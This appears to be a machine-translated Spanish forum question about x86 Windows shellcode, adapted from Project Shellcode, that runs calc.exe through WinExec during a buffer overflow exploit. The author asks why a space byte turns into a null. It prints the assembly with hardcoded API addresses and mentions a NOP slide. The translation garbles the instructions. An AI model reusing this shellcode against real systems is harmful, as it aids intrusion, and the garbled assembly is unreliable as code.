La situación: Actualmente estoy trabajando en shellcode (modifiqué el código de ensamblaje de Project Shellcode) que ejecuta "cmd.exe / c calc.exe". El shellcode en sí funciona bien. Sin embargo, cuando uso el código de shell durante una explotación de desbordamiento de búfer, el byte 0x20 (carácter de espacio) en la cadena se reemplaza con un byte nulo. No puedo encontrar una buena explicación de por qué sucede esto. El siguiente es el código de ensamblaje:
; Llama a calc.exe. Modificado de enlace [SECCIÓN. Texto]
BITS 32
inicio global
_start:
jmp short GetCommand
CommandReturn: pop ebx; ebx ahora apunta a la cadena xor eax, eax; eax claro empuje eax; empuje nulo en la pila presione ebx; presione la cadena de comando en la pila mov ebx, 0x7c86114d; coloque la dirección winExec en ebx llame a ebx; llame a WinExec ({cmd}, 0)
xor eax, eax; elimina el valor de retorno de WinExec
presione eax; presione nulo en la pila como valor de parámetro
mov ebx, 0x7c81caa2; coloca la dirección ExitProcess en ebx
llame a ebx; llame a ExitProcess (0)
GetCommand: llamar a CommandReturn db 'cmd.exe / c calc', 0; el carácter de espacio se reemplaza por nulo.
Lo que sé hasta ahora:
- Sé que no tengo un problema de espacio, porque he colocado una cadena más larga sin espacios y aún se muestra en la memoria.
- Sé que el código shell funciona porque lo he probado colocándolo directamente en un búfer y llamando al búfer como una llamada de función en C.
Lo siguiente es lo que veo en la ventana superior izquierda de Immunity:
- Las direcciones 0012FFB3-0012FFCB es el código de shell
- Antes de eso es mi diapositiva NOP.
- Comenzando en la dirección 0012FFD0 se supone que es "cmd.exe / c calc.exe", pero es solo "cmd.exe", veo en la dirección 0012FFEB que hay un nulo en lugar de 0x20 al final.